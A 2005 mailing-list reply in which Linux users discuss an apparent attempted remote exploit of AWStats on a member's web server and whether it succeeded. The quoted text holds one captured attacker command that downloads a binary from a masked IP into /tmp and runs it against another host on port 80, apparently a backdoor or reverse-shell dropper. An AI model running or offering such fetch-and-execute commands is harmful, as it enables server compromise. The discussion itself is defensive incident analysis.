Re: [SLUG] not so good ouchstats

[Rob Sharp <rob@xxxxxxxxxxx>]

On Sun, 2005-05-22 at 12:25 +0930, Ryan Verner wrote:
> On Sun, 2005-05-22 at 12:49 +1000, Rob Sharp wrote:
> > Ouch! They'd tried to run:
> > 
> > cd /tmp;rm -f /tmp/c;wget 128.xxx.xxx.xxx/c;chmod +x c;./c
> > 80.xxx.xxx.xxx 80
> > 
> > Voytek, how did you notice you'd been exploited?
> 
> How old is the AWStats that you are running?  I thought these remote
> exploit bugs were squashed ages ago.
> 
> R
> 

Advanced Web Statistics 6.4 (build 1.810), which I think is the latest.
I'm pretty sure the exploit failed, chkrootkit came back with nothing,
and nothing unusual is running. I'm probably just being a bit
paranoid...

Cheers,
Rob.


-- 
Rob Sharp

  email/jabber/msn: robATsharp.id.au
  web: http://sharp.id.au

Attachment: signature.asc
Description: This is a digitally signed message part